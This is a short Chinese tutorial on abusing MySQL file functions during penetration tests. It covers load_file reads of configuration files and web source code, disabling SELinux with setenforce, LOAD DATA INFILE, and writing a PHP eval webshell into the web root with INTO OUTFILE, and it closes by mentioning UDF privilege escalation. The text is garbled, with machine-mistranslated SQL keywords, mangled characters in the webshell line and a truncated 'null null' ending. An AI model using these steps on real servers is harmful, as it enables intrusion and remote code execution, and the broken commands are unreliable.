这篇文章主要讲解了“mysql在Linux环境下如何进行文件读取”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“mysql在Linux环境下如何进行文件读取”吧!
读文件:
load_file
load_file在渗透过程中也就是读取文件,或者sql盲注的时候可以通过dnslog加快注入速度。
secure_file_priv:
当mysql secure_file_priv配置项为空(空是“,而不是空,空代表不可读取),或者指定的一个目录时,即可读取文件。
mysql命令行查看secure_file_priv配置
show variables like “% secure_file_priv %“
读取服务配置项:
条件:
1。系统中关闭了selinux
2。知道服务配置文件路径
3。secure_file_priv可读到web目录
读取mysql配置文件
select load_file (“/etc/my.cnf");
在Centos中,如果开启了selinux,是无法读取到其他服务配置文件或者/etc/passwd的,需要将selinux关闭才能读取。
在实际情况中,也许会有管理人员为了方便将selinux关闭,所以读取下其他服务配置文件是值得一试的。
关闭selinux
setenforce 0
读取网络源码
条件:
1。系统中关闭了selinux
2。知道web绝对路径的情况
3。secure_file_priv可读到web目录
读取网络源码,就可以简单的进行审计,查找突破口啦。
数据加载infile
条件:
1。系统中关闭了selinux
2。知道web绝对路径的情况
3。secure_file_priv可读到web目录
数据加载infile也是读取服务端文件的语句,同样的也是受secure_file_priv的限制。基本用法如下:
第一步,得有一个数据表,里头的字段能够存放的进我们要读取的文件:
第二步,使用数据加载infile语句读取指定文件内容,并存入数据库:
假设登入的用户权限较小,我们登入的用户只需要用文件,插入和选择权限即可,然后随便找个数据表也可进行读取。
如果要读取配置文件,也是一样的需要关闭selinux才行。
如果在windows下,就没有这么多限制哦。
写文件
输出文件
当secure_file_priv配置项为空或者指定了一个目录时,且该目录mysql有写入权限.Mysql可写入文件
注意:输出文件和dumpfile在mysql 3.23.55版本之后,不可以覆盖文件。只能创建新文件
简单示例:
select “123“, into outfile “/tmp/123. txt"
写入网站管理权限
条件:
1。知道web目录
2。secure_file_priv可写到web目录
以php为例:
select “& lt; ? php @eval ($ _GET [& # 39; x # 39;]); ?在“,into outfile “/var/www/html/test.php";
dumpfile udf提权
条件:
1。mysql插件目录可写
2。null null